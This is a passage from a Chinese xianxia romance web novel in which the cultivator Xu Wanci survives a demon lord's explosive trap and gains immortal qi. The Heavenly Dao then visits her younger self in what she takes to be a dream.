他的面色,似乎比白雾还要惨白几分,右手被周围的灵气腐蚀,手上的皮肤由下而上,逐渐消融,从指节,到手背,再到手腕。 灵气所经之处,只剩下了森森白骨。 言朔看着许晚辞周身仿佛对她格外亲近,连压迫都不曾给她的灵气,轻笑出了声: “你居然真的来了。” 哪怕他猜到她会赴约,可是亲眼见到后,他眼中依然涌上了控制不住的疯狂与嫉妒。 越是知道许晚辞对萧玉衍的深情,他便愈痛苦,愈发想要……摧毁。 他一步步向许晚辞身前走去,身后淌了一地墨色的魔血。 他好像一个知晓结局却不愿相信的囚徒,固执地问道: “晚辞,同我回魔界,好不好?” 不等她回答,他就自顾自道: “你不愿意没关系,我可以陪你一同留在修仙界。” 言朔温柔地看着她,声音如痴如魔:“好不好?” 许晚辞听出了他声音中的疯狂,心中忽然涌起了一丝不好的预感。 她下意识用灵气护住身体,识海中的神识也蠢蠢欲动,随时都能给言朔致命一击。 言朔叹息了一声: “我的晚辞还是这样警惕。” 他停住脚步,带着血迹的唇角扬起了一个满是恶意的弧度: “你猜,三十个毁魔石同时引爆,这里还能继续存在下去么?” 一个毁魔石,就足以毁掉一个小型宗门。 三十个毁魔石,魔界积累了千年,是同修仙界争斗的底牌,如今,都用在了这里。 许晚辞蓦然攥紧了双手。 即使她已经尽可能的做好了准备,却依旧没有想到,言朔能疯到如此地步。 若是其他法器,她都有周旋的可能,可是毁魔石……原著中,哪怕是面对男主楚青川,言朔都没有用过。 就算她能在无数护身法器之下,从毁魔石中离开,可是这片渡劫之地,怕是会被彻底摧毁。 那样,渡劫之地中藏着飞升气息的境中境将再也没有任何入口能够进入。 错过了这次机缘,她根本不知从哪里再找到飞升的一丝契机。 许晚辞站在原地,愈是危机,她心中就愈是冷静。 现在,有两种方法: 一是她在言朔动手之前,杀了他。 可是言朔身为魔尊,修为强大,她又不清楚他的底牌,即使是在有利于她的渡劫之地,她也未必能一击杀了他。 若是一击未成,接下来,她就再也无力阻止他的动作,只能眼见这里被摧毁。 那境中境,大抵再也无处寻觅。 二是她先安抚住言朔,等待原著之中渡劫之地境中境的显现。 那里,才是真正的机缘所在。 它等同于另一个次元的存在,即使有毁魔石,也伤不到那里分毫。 许晚辞深吸一口气,转瞬就做好了选择。 她可以用自己的性命做赌注,却舍不得以这种飞升机缘下注。 她只能选择最稳妥的方法。 想到这里,她抬起头,目光带上了一丝不能理解的疑惑: “言朔,你知道毁魔石对魔界的重要性么?” “为了毁掉这里,你连魔界都不管不顾了?” 言朔听到她口中对他的称呼,眼中的笑意多了几分真切,他声音凉薄: “魔界?” “我为魔主,魔界的一切,自然都应为我所用。” 如今,他根本不需要再她面前伪装出对魔界上心的模样。 反正,不管他什么样子,她都不会爱他。 不是么? 言朔看着她,声音带着对待情人一般的情动: “晚辞,只要你同我回魔界,我可以放过这里。” 许晚辞蓦然攥紧了双手。 就算她同言朔回魔界,下一次,他依旧可以以渡劫之地威胁她。 这里,会成为她永远都被他控制的软肋。 就在这时,她忽然感受到了空气中细微的波动—— 是境中境! 言朔也察觉了它的存在。 他看着许晚辞的表情,已经知道了她的回答。 连虚与委蛇都不愿意么? 她想要从那丝波动中,找到萧玉衍的神魂。 即使他知晓,那里不可能拥有那人的神魂,可他依旧不想让她得偿所愿呢? 言朔温柔地看向许晚辞: 他这么痛,她也理应陪他一起痛才对。 就让她再次见到那人的神魂被摧毁吧。 对了,还有在外面等待的那些修士,若是他们出事了,她肯定会很痛苦吧。 他轻笑着触发了埋藏在这里的三十个毁魔石: 既然不爱他,那就恨他吧。 刻骨铭心的恨意,会比爱,更让他满足。 许晚辞第一时间察觉到了周围暴动的魔气。 只要她用至宝护体,撕碎瞬移符,就能安然无恙离开这里。 言朔也是想到这一点,才会肆无忌惮的触发毁魔石。 可是—— 许晚辞感受着不远处境中境的气息,没有犹豫就做出了选择。 只要进入境中境,她就能得到机缘。 有着身上至宝的保护,她只要撑过一息就够了。 就算受伤又如何,只要她不死就好。 在言朔疯狂的目光中,许晚辞根本不曾离开。 漫天黑光中,她以身为盾,固执地挡在已经现形的境中境之前。 仿佛是想用血肉之躯,护住那人只有千分之一可能存在的一丝神魂。 第70章 他想见她,想陪着她,想让她得偿所愿 天际之中。 看着漫天黑光中, 挡在境中境前的渺小身影,萧玉衍心跳停滞了一瞬,然后,心跳如鼓, 再也不受控制。 这心跳, 是震撼, 是担忧, 是无奈也是落寞。 在这一刻, 他眼前再无任何遮掩, 清楚明了的看到了她的那一颗心。 那一颗璀璨夺目, 却只为曾经的‘他’而生的那颗心。 他也终究意识到: 这世间,没有任何人,能够代替曾经的‘他’。 包括他。 他所谓的盖过曾经的那些动作…… 如今连他自己都骗不过了。 萧玉衍身上的天道之力, 温柔却悲伤的护在许晚辞周身, 不让她被周围的魔气伤到分毫。 渡劫之地中, 许晚辞本已经做好了重伤的准备。 可是她却根本没有感受到任何伤痛,连一丝不适都不曾出现。 她根本来不及思索原因,第一时间用灵气与神识, 共鸣着身后的境中境。 不管因为什么,只要她进入境中境,就会彻底安全。 也会得到她想要得到的, 有关飞升的机缘。 不远处, 言朔看着她不顾一切挡在境中境前的身影, 目光疯狂: 她难道不知晓,那丝波动中, 有萧玉衍神魂的概率,不过万一么? 她怎么可能不知道呢。 她只是愿意为了那万分之一的概率, 去死罢了。 言朔只剩枯骨的右手,缓缓覆在胸口,那里那陌生的疼痛,让他有些难以承受般,皱起了眉心。 感受着胸口的刺痛,他放下手,温柔而疯狂的笑着: 许晚辞身上有他魔域的气息,毁魔石杀不了她,最多只会让她重伤。 可是外面那些人,就没有这么好的运气了。 看着许晚辞已经进入境中境,消失在了渡劫之地,言朔在漫天黑光中,一挥手,渡劫之地的毁魔石,也瞬间爆发。 他要让她活下来后,亲眼见到那些人,神魂俱消。 总不能只有他这么痛吧。 就让他们,一同在痛苦之中沉沦,永不止息。 言朔的身影逐渐黯淡,几息后,便消失在了渡劫之地。 他身上的伤太重,怕是再有百年,才能完全恢复。 许晚辞根本不知道渡劫之地外发生了什么。 她在进入境中境的那一刻,还没有来得及观察周围的环境,就感受到带着仙息的灵气,争先恐后的涌入了她的身体之中。 这些灵气,哪怕是渡劫尊者,都没有办法完全消化,更不用说修为只是化神的她。 许晚辞忍住疼痛,逼自己保持清醒,强行运转着体内的灵气。 她本已经做好了被灵气撑爆身体之前离开这里的准备,只要体内有带着仙息的灵气,就等于有了飞升的可能。 虽然仙息越多,飞升的可能越大,可是那也要活着才行。 只是她没有想到…… 不过一息的时间,先前灵气入体时难以忍受的疼痛骤然消散,取而代之的,是一股轻柔的暖流。 这股暖流游走于她的经脉之中,痛苦可以让她维持清醒,可是这种滋养灵根的舒适,她根本没有办法抵抗,就昏睡了过去,再也没有了一点意识。 就在她失去意识,从半空中坠落之时,一个身影从虚无之中缓缓显现。 萧玉衍周身带着天道的静寂与清寒来到了许晚辞的身边。 他所行之处,万物俯首,灵气退避。 他的目光带着法则运行的冰冷与漠然,却在看到许晚辞的时候,化作了一片安静的专注。 无数天道之力编制城一张舒适的灵床,温柔地将她托在半空中。 这是萧玉衍,第一次真正见到许晚辞。 没有漫长的距离,没有空间的阻碍。 他与她,不过一臂的距离,伸手便能触碰。 她安静的躺在那里,双目紧闭,浓密的睫毛在眼下打出了一片阴影,看起来似乎有了几分乖巧的意味。 一点也看不出来方才挡在境中境前坚毅而强大的模样。 她的身形,似乎比他曾经看到的,还要纤瘦上几分,手腕在袖口的映衬之下,显得更加纤细。 她受的伤太多,许多时候未曾休养好,便要再次奔波,即使有灵药辅助,却终究也无法让她的身体完全恢复如初。 看着她清透却苍白的脸色,萧玉衍不知是想到了什么,稍显沉默地抬起手,隔着虚空触碰她的侧脸。 仿佛是涌入体内的灵气太多,即使灵气足够温和,对现在的许晚辞而言,也成为了一种非负担,她微不可查的蹙起了眉头,双唇也抿紧了些许。 萧玉衍看着她眉眼中的不适,抬起的手轻点在她的眉间。 天道之力从他手中涌现,一点点帮她拓宽经脉,梳理着身体中的灵气。 在她身体再也无法继续吸收境中境的灵气之后,他依旧未曾停止,而是以天道之力为禁锢,将所有的灵气存储在她的丹田。 等待她修为提高之时,这些灵气,便会从丹田释放,继续滋养她的灵根与经脉,让她能够毫无困扰的晋升渡劫,甚至碎虚。 或许是感觉到了体内带着仙息的灵气,又或许是流转在经脉中的灵气太过温暖舒适,即使在昏睡之中,许晚辞的唇角依旧扬起了一个细微的弧度。 萧玉衍看着松开眉心,看起来乖巧安静的人,指尖的天道之力逐渐褪去。 他站在原地,看向身前人的目光,平白多了几分无奈与落寞: 她如今也不过才百岁有余。 却已经为了‘他’,几经生死。 太累,也太苦。 他宁愿她从不记得,宁愿她选择遗忘,宁愿她的一生,只为自己。 哪怕那个她为之不顾一切的人,是他。 这时,感受到不远处愈发激烈的动荡,萧玉衍抬起头,目光淡漠地扫过渡劫之地外的场景。 那里,太清宗众人用尽所有灵气与至宝,勉力支撑着,随时都有可能被魔气吞噬,尸骨全无。 对于他而言,只要不是许晚辞,万物万事,不过云烟。 他从未在意过一人一物的诞生与陨落。 可…… 他的目光在看向许晚辞时,下意识放柔。 想起她与太清宗那些人的相处,萧玉衍指尖一动,一道天道之力无声的护住了渡劫之地外的所有人。 因为她在意,他便会护住她在意的一切。 半盏茶的时间。 境中境的灵气,已经尽数留在了许晚辞的身体之中。 这里再没有了任何支撑,开始逐渐消散。 萧玉衍看着许晚辞微微颤动的睫毛,收回了手,天道之力小心翼翼地将在她放在了地上。 他的身影,在她醒来前的那一瞬,消散在了原地。 许晚辞睁开双眼,第一时间开始探查身体的现状,她感受着体内比之前更加充盈的灵气,心中的警惕消散了些许。 不只是灵气,她的天赋也被淬炼,灵根已经无限接近传说中的天灵根。 还有她的丹田。 看着丹田之中那满是仙息的灵团,她深吸一口气,隐住了眼中所有的诧异: 她的气运,竟然真的如此之好么? 好到居然能够吸收境中境所有的灵气,经脉丹田依旧完好无虞。 许晚辞扫了一眼周围在毁魔石作用之下,逐渐碎裂的渡劫之地,眉头微皱,看来是境中境将她驱逐了出来。 确认周围的安全之后,仙息充盈带来的疲倦再次袭来,她强忍着困倦,撑起身体想要看太清宗众人是否平安。 就在这时,她看见了不远处几个一身狼狈,目光焦急地往她身前赶来的身影。 她终于松了一口气,她下意识伸手握住腰侧的三叶莲,随即任由自己再次失去了意识。 天际之中。 萧玉衍看着再次昏迷的许晚辞,下意识向前走了一步。 像是意识到了什么,他停在原地,目光怔怔地扫过她握着三叶莲的手。 他们两人,相隔了一个百年。 一个他没有任何记忆的百年。 这一刻,亲眼见到过她后,他再也无法忽视心中那在许久之前,就已经涌现的欲望: 他想见她,想陪着她,想让她永远开心,永远得偿所愿。 这个念头,如同烈火燎原一般,席卷而来。 萧玉衍抬起头,带着时空波动的天道之力逐渐从双眸涌现: 在规则中,他与她记忆里的‘他’等同。 他本就是‘他’。 他只需要,看到他们曾经的相处,‘找回’那些记忆就好。 到那时,他就能出现在她的身边。 陪着她,永不分离。 萧玉衍闭上双眼,虚空之中的天道之力被逐渐抽干,他的面色,也带上了一丝苍白。 这时,他的身前出现了一个带着薄雾的时空之洞,他睁开双眼,眼中竟好似带上了修仙界百年之中的万物流转。 他平静地步入薄雾,下一瞬,与空间波动一同消失在了原地。 * 落玉峰山脚之下,有一片浅白灵气凝成的结界。 结界之内,一片青杉树之中,一个身影缓缓显现。 结界的另一边,许晚辞看着周围陌生的环境,逼自己放缓心跳,尽量平静地扫视周围的环境。 她确定在失去意识之前,握紧了三叶莲。 可是如今,她却察觉不到分毫不对,三叶莲也没有给她任何提醒。 所以,这不是幻境,也并非法阵。 况且她的修为也受到了限制,只有练气三层的修为,更是完全感知不到神识的存在。 这种情况,就连魔尊的魔域也不可能做到。 修仙界中,难道有人比魔尊修为更高,还能影响仙尊炼制的三叶莲,甚至让她的修为也完全倒退的修士么? 根本不可能有人做到。 许晚辞长舒一口气: 排除了所有可能之外,便只剩下了一种原因: 这难道是她的……梦境? 有三叶莲,她在梦境中保持清醒,也并非没有可能。 感受着大脑之中陌生却又熟悉的记忆,她指尖一动: ‘她’依旧是许晚辞,只是和原著中许晚辞安逸孤单的外门生活不同。 这里的许晚辞,受尽外门弟子的冷眼排挤,如今是被人陷害,来到了仙尊所在的落玉峰下完成任务。 许晚辞抿了抿唇: 她怎么连梦,都做得这么……艰辛。 梦里的她,过得连原著中的原身都不如。 只是…… 即使知道这里大概率是她的梦境,她依旧心怀警惕,就在她想要转身离开,去找寻周围是否有不对的地方时,眼前雾茫茫的结界在她眼前褪去。 尽头之处,一个一身浅蓝,身上落满月华的身影静立在那里。 他微微垂眸,目光带着霜雪的清寒,周身的气息内敛至极,却又带着无可比拟的强大。 绝世而立,揽尽风华。 他只是站在那里,所有的一切,仿佛都成为了他的陪衬。 许晚辞看着这个熟悉却又陌生的身影,眼中闪过一丝怔愣。 她心中紧张与放松两种情绪,诡异的交织在一起: 果然是梦啊。 修仙界中,有谁敢将清衍仙尊融入幻境? 哪怕只是一道虚影。 70-80 第71章 她感受到了从未有过的偏爱 落玉峰下。 萧玉衍听着愈来愈近的脚步声, 呼吸下意识放轻。 此刻,他与她的距离,不过数米。 那里是……百年前的她。 在规则中,过去的权重, 远远高于现在与未来。 改变了过去中一个微小的事件, 就有可能对现在与未来产生巨大的影响。 世界, 需要限制这种未知影响的存在。 想要回溯过去, 即使对掌控规则与万物的天道, 也依旧有着不可预计的消耗。 萧玉衍的指尖, 血色稍退, 带上了一丝苍白。 可他终究是掌握此方天地的天道。 即使力量有所削弱,也依旧足够在所有人面前隐匿自己的存在。 可…… 听着仿佛已经近在咫尺的脚步声,他最终也没有动作, 周身连一丝天道之力都未曾凝聚。 这里并无他人。 若是她将他当成百年前的‘他’…… 萧玉衍心跳如鼓: 他可以全程安静, 他可以努力伪装的全无破绽, 他也可以在她意识到不对的前一刻……抽身离去。 他只想见一见她。 不远处,结界消散。 一个穿着外门弟子服、看起来灵动活泼的身影蓦然显现。 萧玉衍感受着许晚辞的目光,虽然面色看起来依旧平静淡漠, 可周身的气息,却仿佛凝固了一般,连周围的微风都被吞没, 只剩下一片清冷的死寂。 他状似平静地看着前方的景色, 手臂自然垂落, 可是指尖却都带着一丝紧绷,手背上青筋隐现。 他从始至终, 从未曾动作,更不曾, 看来人一眼。 许晚辞看着前方身影,只是怔愣了一瞬,就回过了神。 她移开视线,眼中虽然依旧警惕,却比方才放松了些许: 人无法梦到超出自己认知的事物。 想必她今日能梦到清衍仙尊,也是因为她在魔界之中,见过那块儿有仙尊身影的留影石。 若不然,此刻出现在这里的,可能只是一片看不清面容的虚影。 只是即使有八成的概率确定这是她的梦境,从来喜欢做好万全准备的她,第一反应依旧是离开。 无论是梦境还是真实,清衍仙尊的存在,都太不可控。 想到这里,许晚辞微微垂眸,就仿佛什么都没有看到一般,若无其事的转过身,想要离开这里。 萧玉衍听到了她转身的声响,终于侧头看向她。 他下意识升起一道结界,想要让她留下来。 反应过来的那一瞬,他忽然想起: 她最不喜欢被控制。 本来凝聚着天道之力,能隔绝一切的结界倏地弱了下来,变成了一层轻飘飘的薄雾。 他看向她的背影,目光落寞: 是她,发现什么了么? 所以才会在见到他后,毫不犹豫的转身离开? 许晚辞根本不知道身后的人在想什么,她看着周围升起的结界,眼中带着一丝犹疑: 她怎么觉得,这个结界……这么弱呢? 她伸出手,指尖带着练气一层的灵气,试探性地戳了戳身前的结界。 浅白的结界之上,霎时多了一个小小的窟窿。 许晚辞又戳一下,又是一个窟窿。 她眨巴眨巴眼睛: 所以……这是一个练气一层就能突破的结界? 她再也没有留手,想直接用灵气将身前的结界撕开。 只是在她灵气接触到结界的那一刻,先前只有薄薄一层的结界,仿佛加厚了几分。 这一次,结界需要练气二层的灵气,才能撕开。 许晚辞仿佛是想到了什么,并未惊慌,而是继续用出了练气二层的灵气。 果然,结界再次加固,需要更高一层的灵气,才能撕开。 而她如今身体的修为,只有练气三层,若是结界再变,她就只能留在这里,无法离开。 可这一次,随着她的动作,结界应声而碎。 前方,太清宗的景象蓦然映入她的眼帘,只要她想,走一步,便能脱离落玉峰。 可她却定定地站在原地,并没有向前。 萧玉衍在看到她本可以离去却最终选择留下的身影,身上如冰雪消融,周围的青杉树也终于开始随风而动。 他专注而认真的看着她的背影,不想错过百年前的她分毫。 看着她在夜色中随风扬起的长发,看着她沉醉于思绪时忘了收回灵气的右手,目光逐渐放柔,带上了一丝清浅的笑意。 许晚辞并没有察觉身后的视线,她若有所思地看向自己方才撕开结界的手: 是因为……她潜意识不想离开这里么? 所以才会有这个结界的存在。 不是她凭空怀疑,而是这种即使她想要留下,却依旧为自己留出后路,任由自己选择的做法,实在与真实的她太过相似。 想到这里,许晚辞指尖微动: 原来她对清衍仙尊的好奇,比她想象的,可能还要多上几分。 要离开么? 她脚步定在原地,心中却已经有了决定: 若是她的执念更甚至欲望,与清衍仙尊有关,那一时的躲避,并不会让她解脱,只会愈发挣扎。 哪怕是梦,她也可以面对自己的一切,掌控自己的一切。 况且…… 经过方才对结界的试探,她发现,她好像对这个梦境,有着一定的控制能力。 虽然还不确定能控制到什么程度。 只要可控,那她还有什么离开的理由呢? 许晚辞指尖点了点身上的衣裙,抬起头时,眼中带上了几分小心翼翼的懵懂: 按照梦境中的设定,她如今是一个被外门弟子排挤的小可怜,修为才练气三层,连太清宗宗主都未曾见过,又怎么可能知晓清衍仙尊的身份? 她转过身,看着不远处那满身月华的身影,俯身行了一礼,目光是陌生的敬重: “弟子不知尊者在此休息,贸然前来打扰,还望尊者恕罪。” 她行礼时还没来得及弯腰,就感受到一阵灵气托起了她。 接着,是一声带着疑惑的轻问: “你……不认识我么?” 许晚辞从不知晓,原来声音也可以用惊艳二字来形容。 如同冬日中的一抹清雪,不带寒气,只让人觉得不染纤尘,想要沉醉其中。 她低着头,遮住了眼中所有的情绪,身体瞬间便做出了应有的反应。 她后退一步,声音愈发敬重: “是弟子孤陋寡闻,还望尊者恕罪。” 萧玉衍听着她的回答,心跳蓦然快了几分。 他忽然意识到,此时,她与曾经的‘他’,还未曾相识。 所以,这是他们真正意义上的……初遇。 他的声音放得很轻,仿佛吓到身前人一般: “你有何错?” “是我闲来无事,于峰内闲逛。” 萧玉衍隐住了后面的话: 有错,自然也只能是他的错。 许晚辞即使已经做足了准备,可是听到萧玉衍放柔些许的声音,眼中依旧有一瞬间的怔愣。 很快她便回过神来。 这到底是不是她的梦境,先前她只有八成的概率,如今已经提到了九成。 她听过无数人口中的清衍仙尊:强大、淡漠、危险…… 如今的仙尊,更像是她口中以谎言编织的那个身影。 不。 或许比她的谎言,更多了几分温柔与亲和。 想到这里,她若有所思地眨了眨眼睛: 原来她也能想象出如此好听的声音啊。 或许因为在梦境之中,许晚辞比往常大胆了几分,也更显露出了几分本性。 她抬起头,眼中虽然依旧有尊敬,但更多了几分好奇。 她看着不远处的身影,回忆了一下梦境中她的任务,试探性地问道: “不知尊者可知晓落莲露在何处?” “弟子前来此处,是为宗门任务,收集落玉峰下的落莲露。” 萧玉衍对上她的目光,指尖天道之力不受控制一般,散落而去,周围的青杉树的枝叶都繁茂了几分。 听到她的话后,他抬起手,整座灵峰之上,所有落莲之上的灵露,都凝聚在他的掌心。 他听着自己的心跳声,一步一步走到了许晚辞的身前,目光从始至终都落在她的身上: “这些够么?” 他的右手指节分明,修长如玉,手上的每一寸,仿佛都几近完美,更让人侧目的,是它的强大,这天下的灵气,只是这一只手,好像便能完全掌控。 手掌之上,是一息间便被提炼了千万次的落莲露,晶莹剔透,灵气四溢。 即使许晚辞现实中见过许多天材地宝,可这一滴经过万千淬炼的落莲露也足够珍贵。 在梦境中,她无需隐藏自己对灵宝的喜爱。 她没有多关注身前身影,而是双眼亮晶晶地把这一滴灵露接了过来,放在了原身带着的玉瓶中。 她仔细地看着手中玉瓶,用灵气试探了一番其中的灵气,一脸真挚道:“多谢尊者。” 萧玉衍看着她的动作,心中有个角落,软了下来。 原来百年前的她……这样灵动活泼。 想起在渡劫之地中发生的一切,他垂眸敛住了所有的情绪。 夜色中,他声音温柔: “你……还有什么想要的么?” 许晚辞握着玉瓶的动作一僵: 这一瞬,她恍然觉得,无论她想要什么,身前人都会为她寻来。 在梦中,在这一瞬,她忽然感受到了从未有过的偏爱。 没有任何理由,也不需要她付出什么,只是因为她想要而已。 她并未抬起头,只是心中有些无奈的想道: 原来,这就是她想要的么? 她的怔愣永远都只有一瞬。 回过神来后,她缓缓呼出一口气,冷静地思索: 这是一个试探的机会。 如今她依旧不能完全确定这是梦。 万一这里并非梦境,而是其他,那她的作为,就必须要慎重,她不能提出太过功利或是超出现在预计的愿望。 她也要做好被困在这里的准备。 若是她无法离开,那她所求,一定要足够隐蔽,让其他人无法察觉。 若是梦,那也没有什么关系,总归梦里的一切,都是假的,她也不会错过什?? 么。 想到这里,她低着头,小声道: “尊者,我听闻只有有天赋的弟子,才会在练气修为,便有神识的存在。” “我可以……” 她还未曾说完,就听到了一个温柔的回答: “可以。” 就好像无论她说什么,他的回答都只会有一个。 许晚辞终于抬起了头,看着近在咫尺的身影,她的呼吸不自觉的停滞了下来。 让她震撼的,不仅仅是他那清贵无双的外貌,而是他的那一双眼睛。 这是一双容纳着万物流转的眼睛,一呼一吸间,仿若能看到万物的生长与消亡。 可是这一刻,这双眼眸中,只有她的身影。 她,在万物之前。 许晚辞看着他抬起手,指尖抵在她的眉心,一股不带任何侵略性的暖流缓缓涌入。 随着暖流的涌入,她逐渐感受到了识海的存在。 神识,已成。 第72章 我想见一见尊者笑起来的样子 许晚辞感受着已经逐渐成型的识海, 缓缓握紧了手中的玉瓶。 她来修仙界已久,自然也清楚一些常识: 除了那些天赋极佳,生来便有识海的修士,其他修士想要修得识海, 无一不需要经历艰难的磨砺。 天赋越低, 开辟识海的过程, 便越艰辛, 也越痛苦。 她能感受到这具身体的天赋, 很差, 或许终其一生能达到的最高修为, 也不过筑基。 可是方才在身前人的动作下,她却没有感觉到丝毫不适,反倒有一种被天材地宝滋养的温暖。 她看着身前人放下抵在她眉间的右手, 指尖不受控制的动了一下, 也终于回过了神: 如今她终于可以确定, 这就是她的梦境。 一个映射着她内心想法,甚至能完成她一些心愿的梦境。 而且…… 她抬起头,目光一点点上移, 最终落入了那双胜过万千月色的眼眸之中。 她几乎下意识放缓了自己的呼吸: 虽然无法控制梦境中的场景,但她好像可以在梦境中,得到这个人所有的偏爱。 甚至好像能够……控制他。 就如同她的谎言一般。 或许是因为她如今的修为太低;或许因为这是她的梦境, 她比以往少了几分警惕;又或许她被身前人的美色干扰了几分思绪。 向来能感知他人情绪的她, 并没有察觉到萧玉衍深藏于眼底的紧张, 也没有听到在两人对视那一瞬间,他混乱至极的心跳。 许晚辞意识到自己再次失神后, 隐住了自己心中所有的情绪,小心地后退了一步, 拉开了和身前人的距离。 她需要让自己,保持冷静,即使是在梦中。 看着她的动作,萧玉衍失控的心跳声倏地放缓。 他右手轻抬,仿佛是想挽留什么,最终却又克制的放下。 他刚苏醒,还未学会如何与人相处,更不知晓该如何让一个人留下。 他只能如同方才一般,声音带着小心翼翼与毫不掩饰的偏爱: “你……还有什么想要的么?” 许晚辞闻言,面色微怔,心中却涌起一个无奈的念头: 梦中,她对自己,还真好啊。 她眨了眨眼睛,并没有拒绝: 总归只是一个梦,就算得到了修仙界至宝,在醒来后,也不过镜花水月一场空。 还不如在梦中,让自己开心一下。 想到这里,她抬起头,眼中带着自己都没有察觉到的轻松与笑意。 她信任而期待地看着身前人: “尊者,我听闻六品的化雨昙,是很美的蓝色。” “我可以……” 她谎言中,出现过许多化雨昙,可是她却从未见过落玉峰中,那片真正的化雨昙花田,也从未见过,化雨昙中的清衍仙尊。 既然是能达成所愿的梦,那就让她见一见吧。 哪怕只是一株化雨昙也好。 她还未曾说完,就见到一道浅蓝的灵光环绕了两人周围。 月色之下,灵光所及之处,一株一株的化雨昙发芽,生长,最终开花,形成了一片蓝色的花海。 本来只有一现的昙花,此刻却被灵气留住,静静地开在月色之下。 许晚辞看着目光尽头处依旧存在的蓝色花田,微微垂眸,轻声道: “很美。” 听着她的回答,萧玉衍仿佛怕她离开一般,垂眸认真地看着她: “那……你还有什么想要的么?” 他只能这般,近乎笨拙地想要留住她。 许晚辞闻言收起了心中所有的思绪,抬起头无奈地看着他: 就算是梦,这个人对她也太……百依百顺了吧? 怎么看起来好像偏爱到,已经没有了底线。 这时,她心中对清衍仙尊这个人的陌生之感,不自觉的褪去了几分。 她一只手撑着下巴,虽然面色认真,声音却带上了几分随意: “我听闻玉霜糕很好吃,可我从未尝过。” 看着她灵动活泼的动作,萧玉衍的目光放柔,眼中再也没有了其他的存在,只剩下了她一人。 他一挥手,万千灵气凝结而成的玉霜糕,就出现在了她的手边。 许晚辞接过糕点,咬了一小口。 尝到味道后,她眼睛一亮。 入口即化,带着灵气的糕点,不仅好吃,还立竿见影地提高了她的修为。 这可比她曾经在清竹峰上吃到的玉霜糕好吃也有用多了。 萧玉衍看着她吃得脸颊微鼓的模样,心跳一声声响在耳畔: 一个会因为一株花,一盘糕点开心的许晚辞。 一个没有经历那百年苦痛,灵动可爱的许晚辞。 萧玉衍垂下了眼眸,遮住了眼中的心动,与悲伤。 心中那颗发芽的种子,仿佛得到了什么的滋养一般,一点点长大,已经有了一片嫩叶。 他手中的灵气,轻柔地擦去了她唇角的糕点碎屑,声音纵容: “你还有什么其他想要的么?” 只要她一直说,他便能一直给。 若是能一直这般,没有尽头,就好了。 许晚辞心中的想法,有一瞬间,与他重合。 要是能一直这样…… 只是她在意识到这个想法时,心中蓦然冷静下来。 她压住心中所有的情绪,抬起头,认真地看着身前的人: “我想……” 看着萧玉衍眼中仿佛没有边际一般的纵容,她第一次,有了在梦中放纵一次的想法: “见一见尊者笑起来的样子。” 萧玉衍眼中闪过一丝怔愣。 他看着许晚辞眼中认真而期待的神情,微微垂眸,手指因为紧张,指尖都泛起了白意。 “我……” 他笑起来……并不好看。 许晚辞以为这是萧玉衍无声的拒绝。 可她并没有生气,心中反而放松了些许: 即使是梦,也应该有超出她预计的地方。 这样,才让她更加放心这是梦境。 想到这里,许晚辞唇角扬起一个真切的笑意,她笑盈盈地看着身前人: “既然尊者不想笑,那我笑给尊者看便是。” 这一刻,萧玉衍清晰的感受到心中一个角落,蓦然沦陷。 那一粒种子,又生出了另一个嫩芽,随风而动。 他看着许晚辞,唇角扬起了一个轻微的弧度,眼中的清冷与淡漠逐渐消融,化作了一片蔚蓝之海,沉寂而温柔。 这一瞬间,随着这个轻笑,天地都失去了颜色。 许晚辞怔怔地看着他,眼中再也没有了其他存在。 她握紧双手,一声声的心跳,在诉说着她的……心动。 萧玉衍感受到她灼热了些许的视线,有些不适应一般侧过了头,他轻声继续道: “你想要的,只有这些么?” “你可以……” 更贪心一些的。 修为、至宝、地位……所有的一切,他都能给她。 “多谢尊者。”许晚辞低着头,再次抬起头时,眼中只剩下了敬重,“只是弟子尚有任务需要完成。” “就不在此打扰尊者清修了。” 对于她而言,真实的世界才是最重要的,她永远不会沉溺在虚假之中,无论虚假的世界,有多诱人。 哪怕在那个真实的世界,她会鲜血淋漓,会伤痕累累,她也绝不后悔。 听到她的话,萧玉衍唇角的弧度一点点放平,他眼中似乎带上了一丝无措。 他不知晓为何她会选择离开。 是因为……他笑得不好看么? 他唇角再也没有了一丝笑意。 没有人看到,他身边的天道之力留恋地围着许晚辞,只要稍一用力,就能够把她留在身边。 天道之力一点点从她的腰间收紧,可是看着她眼中的坚决,萧玉衍回过神来一般,天道之力缓缓退去,只是在离去时,下意识勾住了她的手指。 他的挽留,从来都不会真正阻碍她的脚步。 他永远,都只能无奈地看着她离去。 许晚辞并不知道他心中的想法,她并未抬头,行了一礼后,无声退去。 从始至终,都没有回头。 萧玉衍站在原地,蓝色的化雨昙花田中,他周身满是落寞。 他静静地看着她的背影,看到她已经泛白的衣裙,勾着她手指的那一丝天道之力轻柔地覆在了她的身上: 规则的限制之下,在过去,他能做的并不多。 他只能,让她在外门的生活,过得顺遂一些。 许晚辞的背影消失在他眼前的那一刻,萧玉衍面色已经带上了几分透明。 改变过去对他的影响在他身上一点点显现。 一滴血从他指尖滴落,落在了一株化雨昙之上。 萧玉衍的身影逐渐透明,然后消失在了原地。 在他消失的那一刻,周围的花海也随之消散,只有他鲜血浸染的那一株化雨昙,迎风而立。 或许再过不久,这里就会迎来一片真正的,化雨昙花田。 * 许晚辞睁开双眼,看着周围熟悉的景象,缓缓呼出一口气。 确认周围的安全后,她无声地闭上双眼,遮住了眼中所有的情绪: 她忽然明白了为什么有人会警告他人不要记住梦境,更不要控制梦境。 她自诩足够理智,可在醒来后,竟也有一瞬间想要沉沦的想法。 丹田之中,无论许晚辞沉睡还是清醒,那一个带着仙息的光团都一直在滋养着她的经脉,昼夜未息。 即使她未曾修炼,修为也在不断提高。 此时,她距离大乘期,只有一步之遥,触手可得。 这时,门口传来一阵脚步声。 许晚辞睁开双眼,向门口看去。 谢听白一身青衣,看到她醒来后,他神情放松了些许: “晚辞,你醒了。” 许晚辞坐起身:“七长老。” 想起昏迷前发生的事情,她皱眉问道:“宗主与其他几位长老还好么,可有受伤?” 那时,她隐约见到了他们狼狈的模样。 言朔是在渡劫之地外,也做了什么手脚么? 谢听白走到床边,把手中的丹药递了过去: “宗主伤势最重,不过如今已经恢复了八成,接下来休养几日便可。” “其他长老的伤势也已经恢复。” 说到这里,他无奈地叹了一口气:“只有晚辞一直未曾醒来。” 听到其他人无事后,许晚辞终于松了一口气。 只是…… 想起她昏迷时的梦境,她心中一动: 她不确定,梦中的场景,会不会影响自己昏睡时的身体。 她抬起头,目光带着一丝茫然: “可是我并未察觉自己有什么不适。” “难道是昏睡时,发生什么我不不知道的事情了么?” 谢听白轻轻摇头:“你的身体并无大碍。” “只是你体内灵气太多,一时无法吸收,所以才会陷入沉睡。” 